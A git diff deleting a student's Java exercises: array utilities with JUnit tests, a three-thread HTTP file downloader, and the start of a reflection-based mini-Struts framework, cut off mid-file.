-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/381519422/array/.gitignore b/group23/381519422/array/.gitignore
deleted file mode 100644
index ae3c172604..0000000000
--- a/group23/381519422/array/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/bin/
diff --git a/group23/381519422/array/.project b/group23/381519422/array/.project
deleted file mode 100644
index ef3cae8954..0000000000
--- a/group23/381519422/array/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>array</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/381519422/array/src/array/ArrayUtil.java b/group23/381519422/array/src/array/ArrayUtil.java
deleted file mode 100644
index cb1d3f49dc..0000000000
--- a/group23/381519422/array/src/array/ArrayUtil.java
+++ /dev/null
@@ -1,354 +0,0 @@
-package array;
-
-import java.util.ArrayList;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin) {
-		if (origin == null || origin.length <= 1) {
-			return;
-		}
-		//第1和第length互换位置，第2和第length-1互换，以此类推
-		for (int i = 0; i < origin.length / 2; i++) {
-			int temp = origin[i];
-			origin[i] = origin[origin.length - 1 - i];
-			origin[origin.length - 1 - i] = temp;
-		}
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	public int[] removeZero(int[] oldArray) {
-		// 判断非法输入
-		if (oldArray == null || oldArray.length == 0) {
-			return null;
-		}
-
-		// 创建临时数组，长度与原oldArray一样长
-		int[] temp = new int[oldArray.length];
-		int tempCount = 0;
-		for (int i = 0; i < oldArray.length; i++) {
-			// 判断元素是0跳过
-			if (oldArray[i] == 0) {
-				continue;
-			} else {// 非零放入临时数组，计数器加1
-				temp[tempCount++] = oldArray[i];
-			}
-		}
-
-		// 如果计数器与原数组长度一致，直接返回临时数组
-		if (tempCount == oldArray.length) {
-			return temp;
-		} else {// 否则返回长度为tempCount的数组
-			int[] retVal = new int[tempCount];
-			System.arraycopy(temp, 0, retVal, 0, tempCount);
-			return retVal;
-		}
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	public int[] merge(int[] array1, int[] array2) {
-		// 创建临时数组，长度为array1+array2的长度
-		int[] temp = new int[array1.length + array2.length];
-		int index = 0;// temp的下标
-		int i = 0;// array1的下标
-		int j = 0;// array2的下标
-		int count = 0;// temp存放元素的计数器
-
-		while (true) {
-
-			if (i == array1.length) {// 当array1已经全部添加到temp，就把array2剩余的放入temp
-				for (int l = j; l < array2.length; l++) {
-					temp[index++] = array2[l];
-					count++;
-				}
-				break;
-			} else if (j == array2.length) {// 当array2已经全部添加到temp，就把array1剩余的放入temp
-				for (int l = i; l < array1.length; l++) {
-					temp[index++] = array1[l];
-					count++;
-				}
-				break;
-			}
-
-			// 取array1第i和array2第j个元素比较。如果array1[i]的小于array2[j]，则array1[i]放入temp
-			// 同时i++，使得下次为i+1和j个元素比较。
-			// 如果array1第i和array2第j个元素相等。则array1[i]放入temp
-			// 同时i++，j++，使得下次为i+1和j+1个元素比较。
-			if (array1[i] < array2[j]) {
-				temp[index++] = array1[i++];
-				count++;
-			} else if (array1[i] > array2[j]) {
-				temp[index++] = array2[j++];
-				count++;
-			} else {
-				temp[index++] = array1[i];
-				i++;
-				j++;
-				count++;
-			}
-		}
-
-		// 如果计数器和temp.length相等，直接返回
-		if (count == temp.length) {
-			return temp;
-		} else {// 否则创建长度为count的新数组返回
-			int[] retVal = new int[count];
-			System.arraycopy(temp, 0, retVal, 0, count);
-			return retVal;
-		}
-	}
-	
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int[] oldArray, int size) {
-		// 参数校验
-		if (size < 0) {
-			throw new RuntimeException("非法参数");
-		}
-		if (size == 0) {
-			return oldArray;
-		}
-
-		// 扩容
-		int[] retVal = new int[oldArray.length + size];
-		for (int i = 0; i < oldArray.length; i++) {
-			retVal[i] = oldArray[i];
-		}
-		return retVal;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max) {
-		// 0直接返回空数组
-		if (max == 1) {
-			return new int[0];
-		}
-
-		int retVal = 0;// 每一轮循环的斐波那契数
-		int i = 1;// 获取第几个斐波那契数
-		ArrayList<Integer> list = new ArrayList<Integer>();// 用于暂时保存斐波那契数
-		while (retVal < max) {// 获取所有小于max的斐波那契数
-			retVal = getFibonacci(i++);
-			if (retVal < max) {
-				list.add(retVal);
-			} else {
-				break;
-			}
-		}
-
-		// 将arraylist转为array
-		int[] retArray = new int[list.size()];
-		for (int j = 0; j < list.size(); j++) {
-			retArray[j] = list.get(j);
-		}
-		return retArray;
-	}
-	
-	/**
-	 * 循环获取第N个斐波那契数
-	 * @param index
-	 * @return
-	 */
-	private int getFibonacci(int index) {
-		if (index < 1) {
-			throw new RuntimeException("非法参数");
-		}
-		if (index == 1 || index == 2) {
-			return 1;
-		}
-
-		int first = 1;
-		int second = 1;
-		int retVal = 0;
-		for (int i = 3; i <= index; i++) {
-			retVal = first + second;
-			first = second;
-			second = retVal;
-		}
-		return retVal;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max) {
-		// 排除非法参数
-		if (max < 0) {
-			throw new RuntimeException("非法参数");
-		}
-
-		// 小于2没有素数
-		if (max <= 1) {
-			return new int[0];
-		}
-
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		// 取出每个数判断是不是素数，是就放入arraylist
-		for (int i = 2; i < max; i++) {
-			boolean primes = isPrimes(i);
-			if (primes) {
-				list.add(i);
-			}
-		}
-
-		int[] retArray = new int[list.size()];
-		// 将ArrayList转为数组返回
-		for (int i = 0; i < list.size(); i++) {
-			retArray[i] = list.get(i);
-		}
-		return retArray;
-	}
-	
-	/**
-	 * 判断输入的数字是不是素数
-	 * @param num
-	 * @return
-	 */
-	private boolean isPrimes(int num) {
-		// 排除非法参数
-		if (num <= 0) {
-			throw new RuntimeException("非法参数");
-		}
-
-		// 小于2没有素数
-		if (num == 1) {
-			return false;
-		}
-
-		// 2是素数，但是2%2==0为true，所以单独列出
-		if (num == 2) {
-			return true;
-		}
-
-		// num依次从2到num的平方根取余数，如果余数为零说明不是素数
-		for (int i = 2; i <= Math.sqrt(num); i++) {
-			if (num % i == 0) {
-				return false;
-			}
-		}
-		return true;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max) {
-		if (max < 0) {
-			throw new RuntimeException("非法参数");
-		}
-		if (max <= 2) {
-			return new int[0];
-		}
-
-		// 获取小于max 的所有完数
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		for (int i = 1; i < max; i++) {
-			if (isPerfectNumber(i)) {
-				list.add(i);
-			}
-		}
-
-		// 将ArrayList转为array返回
-		int[] array = new int[list.size()];
-		for (int i = 0; i < list.size(); i++) {
-			array[i] = list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 判断输入的数是不是完美数
-	 * @param num
-	 * @return
-	 */
-	private boolean isPerfectNumber(int num) {
-		if (num <= 0) {
-			throw new RuntimeException("非法参数");
-		}
-
-		// 放置num的所有约数
-		ArrayList<Integer> divisorList = new ArrayList<Integer>();
-		for (int i = 1; i < num; i++) {
-			if (num % i == 0) {
-				divisorList.add(i);
-			}
-		}
-
-		// 所有因数相加是否等于num，是就是完美数
-		int count = 0;
-		for (int i = 0; i < divisorList.size(); i++) {
-			count += divisorList.get(i);
-		}
-		if (count == num) {
-			return true;
-		} else {
-			return false;
-		}
-	}
-
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator) {
-		// 检查非法输入
-		if (array == null) {
-			return null;
-		}
-
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			if (i == array.length - 1) {// 最后一个元素后面不拼接-
-				sb.append(array[i]);
-			} else {
-				sb.append(array[i]);
-				sb.append("-");
-			}
-		}
-		return sb.toString();
-	}
-	
-
-}
\ No newline at end of file
diff --git a/group23/381519422/array/src/array/ArrayUtilTest.java b/group23/381519422/array/src/array/ArrayUtilTest.java
deleted file mode 100644
index a202afdb20..0000000000
--- a/group23/381519422/array/src/array/ArrayUtilTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-package array;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ArrayUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testReverseArray() {
-		int[] a = { 7, 9, 30, 3, 4 };
-		int[] expecteds = { 4, 3, 30, 9, 7 };
-		ArrayUtil util = new ArrayUtil();
-		util.reverseArray(a);
-		assertArrayEquals(expecteds, a);
-	}
-
-	@Test
-	public void testRemoveZero() {
-		int[] oldArr = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
-		int[] expecteds = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
-		ArrayUtil util = new ArrayUtil();
-		int[] removeZero = util.removeZero(oldArr);
-		assertArrayEquals(expecteds, removeZero);
-	}
-
-	@Test
-	public void testMerge() {
-		int[] a1 = { 3, 5, 7, 8 };
-		int[] a2 = { 4, 5, 6, 7 };
-		ArrayUtil util = new ArrayUtil();
-		int[] merge = util.merge(a1, a2);
-		int[] expecteds = { 3, 4, 5, 6, 7, 8 };
-		assertArrayEquals(expecteds, merge);
-	}
-
-	@Test
-	public void testGrow() {
-		int[] oldArray = { 2, 3, 6 };
-		int size = 3;
-		int[] expecteds = { 2, 3, 6, 0, 0, 0 };
-		ArrayUtil util = new ArrayUtil();
-		int[] grow = util.grow(oldArray, size);
-		assertArrayEquals(expecteds, grow);
-	}
-
-	@Test
-	public void testFibonacci() {
-		int max1 = 15;
-		int[] expecteds1 = { 1, 1, 2, 3, 5, 8, 13 };
-		ArrayUtil util = new ArrayUtil();
-		int[] fibonacci1 = util.fibonacci(max1);
-		assertArrayEquals(expecteds1, fibonacci1);
-
-		int max2 = 1;
-		int[] expecteds2 = {};
-		int[] fibonacci2 = util.fibonacci(max2);
-		assertArrayEquals(expecteds2, fibonacci2);
-	}
-
-	@Test
-	public void testGetPrimes() {
-		int max1 = 23;
-		int[] expecteds1 = { 2, 3, 5, 7, 11, 13, 17, 19 };
-		ArrayUtil util = new ArrayUtil();
-		int[] primes1 = util.getPrimes(max1);
-		assertArrayEquals(expecteds1, primes1);
-
-		int max2 = 2;
-		int[] expecteds2 = {};
-		int[] primes2 = util.getPrimes(max2);
-		assertArrayEquals(expecteds2, primes2);
-	}
-
-	@Test
-	public void testGetPerfectNumbers() {
-		int max1 = 2;
-		int[] expecteds1 = {};
-		ArrayUtil util = new ArrayUtil();
-		int[] perfectNumbers1 = util.getPerfectNumbers(max1);
-		assertArrayEquals(expecteds1, perfectNumbers1);
-
-		// 6=1+2+3
-		int max2 = 7;
-		int[] expecteds2 = { 6 };
-		int[] perfectNumbers2 = util.getPerfectNumbers(max2);
-		assertArrayEquals(expecteds2, perfectNumbers2);
-
-		// 28=1+2+4+7+14
-		int max3 = 30;
-		int[] expecteds3 = { 6, 28 };
-		int[] perfectNumbers3 = util.getPerfectNumbers(max3);
-		assertArrayEquals(expecteds3, perfectNumbers3);
-	}
-
-	@Test
-	public void testJoin() {
-		int[] array = { 3, 8, 9 };
-		String seperator = "-";
-		String expecteds = "3-8-9";
-		ArrayUtil util = new ArrayUtil();
-		String join = util.join(array, seperator);
-		assertEquals(expecteds, join);
-	}
-
-}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
deleted file mode 100644
index d1ed7bb700..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.xiaol.download;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-
-/**
- * 下载DEMO
- * @author ShawnLin
- */
-public class DownloadDemo {
-
-	public void download(String url) {
-		URL u;
-		try {
-			u = new URL(url);
-			HttpURLConnection httpURLConnection = (HttpURLConnection) u.openConnection();
-			int contentLength = httpURLConnection.getContentLength();
-			httpURLConnection.connect();
-			InputStream inputStream = httpURLConnection.getInputStream();
-			File file = new File(getFileName(url));
-			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
-			byte[] read = new byte[1024];
-			int length = 0;
-			while ((length = inputStream.read(read)) != -1) {
-				raf.write(read, 0, length);
-			}
-			inputStream.close();
-			raf.close();
-			System.out.println("下载完毕，位置[" + file.getAbsolutePath() + "]");
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-
-	}
-
-	public String getFileName(String path) {
-		int index = path.lastIndexOf("/");
-		return path.substring(index + 1);
-	}
-
-	public static void main(String[] args) {
-		DownloadDemo dd = new DownloadDemo();
-		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
-		dd.download(url);
-	}
-}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
deleted file mode 100644
index cc2da86116..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.xiaol.download;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.xiaol.download.api.Connection;
-import com.xiaol.download.api.DownloadListener;
-
-public class DownloadThread extends Thread {
-
-	Connection conn;
-	int startPos;
-	int endPos;
-	RandomAccessFile randomAccessFile;
-	DownloadListener listener;
-
-	public DownloadThread(Connection conn, int startPos, int endPos, RandomAccessFile randomAccessFile) {
-		this.randomAccessFile = randomAccessFile;
-		this.conn = conn;
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-
-	@Override
-	public void run() {
-		try {
-			byte[] read = conn.read(startPos, endPos);
-			randomAccessFile.seek(startPos);
-			randomAccessFile.write(read, 0, endPos - startPos);
-			System.out.println(this.getName() + "完成下载，从" + startPos + "到" + endPos + "共" + (endPos - startPos));
-			conn.close();
-			FileDownloader.finishCount();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
deleted file mode 100644
index ced422ed96..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package com.xiaol.download;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.xiaol.download.api.Connection;
-import com.xiaol.download.api.ConnectionException;
-import com.xiaol.download.api.ConnectionManager;
-import com.xiaol.download.api.DownloadListener;
-
-public class FileDownloader {
-
-	String url;
-
-	DownloadListener listener;
-
-	ConnectionManager cm;
-	private static int count = 0;
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-
-	}
-
-	public void execute() {
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos,
-		// endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		// 线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接，
-		// 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载， 注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		// Connection conn = null;
-		// try {
-		//
-		// conn = cm.open(this.url);
-		//
-		// int length = conn.getContentLength();
-		//
-		// new DownloadThread(conn,0,length-1).start();
-		//
-		// } catch (ConnectionException e) {
-		// e.printStackTrace();
-		// }finally{
-		// if(conn != null){
-		// conn.close();
-		// }
-		// }
-
-		Connection conn = null;
-		try {
-
-			File file = new File(getFileName(url));
-			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
-			System.out.println("文件下载位置：[" + file.getAbsolutePath() + "]");
-			int threadNum = 3;
-			conn = cm.open(this.url);
-			int length = conn.getContentLength();
-			int avg = length / threadNum;
-			for (int i = 0; i < threadNum; i++) {
-				Connection cTemp = cm.open(this.url);
-				int start = i * avg;
-				int end = start + avg - 1;
-				if (i == threadNum - 1) {
-					end = length - 1;
-				}
-				new DownloadThread(cTemp, start, end, raf).start();
-			}
-
-			while (true) {
-				if (threadNum == getFinishCount()) {
-					listener.notifyFinished();
-					try {
-						raf.close();
-					} catch (IOException e) {
-						e.printStackTrace();
-					}
-					break;
-				}
-			}
-		} catch (ConnectionException e) {
-			e.printStackTrace();
-		} catch (FileNotFoundException e) {
-			e.printStackTrace();
-		} finally {
-			if (conn != null) {
-				conn.close();
-			}
-		}
-
-	}
-
-	/**
-	 * 获取文件名
-	 * 
-	 * @param path
-	 * @return
-	 */
-	public String getFileName(String path) {
-		int index = path.lastIndexOf("/");
-		return path.substring(index + 1);
-	}
-
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	public void setConnectionManager(ConnectionManager ucm) {
-		this.cm = ucm;
-	}
-
-	public DownloadListener getListener() {
-		return this.listener;
-	}
-
-	public static void finishCount() {
-		count++;
-	}
-
-	public int getFinishCount() {
-		return count;
-	}
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
deleted file mode 100644
index 3656f4a7da..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.xiaol.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.xiaol.download.api.ConnectionManager;
-import com.xiaol.download.api.DownloadListener;
-import com.xiaol.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-//		String url = "http://localhost:8080/test.jpg";
-		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
deleted file mode 100644
index 425fe784a7..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.xiaol.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
deleted file mode 100644
index 83cbd33c7e..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.xiaol.download.api;
-
-public class ConnectionException extends Exception {
-
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
deleted file mode 100644
index fcd90b77da..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.xiaol.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
deleted file mode 100644
index 549a36e478..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.xiaol.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
deleted file mode 100644
index 8f19cb40e8..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.xiaol.download.impl;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.util.ArrayList;
-import java.util.List;
-
-import com.xiaol.download.api.Connection;
-
-public class ConnectionImpl implements Connection {
-
-	private HttpURLConnection httpURLConnection;
-
-	public ConnectionImpl(String url) {
-		try {
-			this.httpURLConnection = (HttpURLConnection) new URL(url).openConnection();
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		httpURLConnection.setRequestMethod("GET");
-		httpURLConnection.setConnectTimeout(5000);
-		httpURLConnection.setReadTimeout(5000);
-		httpURLConnection.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		httpURLConnection.connect();
-		List list = new ArrayList<>();
-		byte[] byteArray = null;
-		byte[] read = new byte[1024];
-		int length = 0;
-		if (httpURLConnection.getResponseCode() == 206) {
-			InputStream inputStream = httpURLConnection.getInputStream();
-			byteArray = new byte[endPos - startPos + 1];
-			while ((length = inputStream.read(byteArray)) != -1) {
-				
-			}
-			inputStream.close();
-		}
-		close();
-		return byteArray;
-	}
-
-	@Override
-	public int getContentLength() {
-		return httpURLConnection.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		httpURLConnection.disconnect();
-	}
-
-}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 77fc547e6e..0000000000
--- a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.xiaol.download.impl;
-
-import com.xiaol.download.api.Connection;
-import com.xiaol.download.api.ConnectionException;
-import com.xiaol.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = new ConnectionImpl(url);
-		return connection;
-	}
-
-}
\ No newline at end of file
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
deleted file mode 100644
index d31d404165..0000000000
--- a/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.xiaol.study;
-
-public class LoginAction {
-	private String name;
-	private String password;
-	private String message;
-
-	public String getName() {
-		return name;
-	}
-
-	public String getPassword() {
-		return password;
-	}
-
-	public String execute() {
-		if ("test".equals(name) && "1234".equals(password)) {
-			this.message = "login successful";
-			return "success";
-		}
-		this.message = "login failed,please check your user/pwd";
-		return "fail";
-	}
-
-	public void setName(String name) {
-		this.name = name;
-	}
-
-	public void setPassword(String password) {
-		this.password = password;
-	}
-
-	public String getMessage() {
-		return this.message;
-	}
-}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
deleted file mode 100644
index 5adabb38ad..0000000000
--- a/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
+++ /dev/null
@@ -1,176 +0,0 @@
-package com.xiaol.study;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.Set;
-
-import javax.management.RuntimeErrorException;
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-import org.w3c.dom.NamedNodeMap;
-import org.w3c.dom.Node;
-import org.w3c.dom.NodeList;
-
-
-
-public class Struts {
-	
-	// 每一个action的信息存放到一个Map<String, String>里
-	// 所有的Map<String, String>放到rootMap方便统一管理
-	private static HashMap<String, Map<String, String>> rootMap = new HashMap<String, Map<String, String>>();
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-    	View view = new View(); 
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-		try {
-			// 1、初始化读取配置文件
-			init();
-
-			// 2、获取根据参数获取对应的class的名字
-			Map<String, String> actionMap = rootMap.get(actionName);
-			String className = actionMap.get("class");
-			// 3、根据名字获取Class对象
-			Class<?> clazzType = Class.forName(className);
-			// 4、通过无参构造获取一个对象
-			Object newInstance = clazzType.getConstructor(new Class[] {}).newInstance(new Object[] {});
-			// 5、调用set方法，把("name"="test" , "password"="1234")值set进去
-			Set<Entry<String, String>> entrySet = parameters.entrySet();
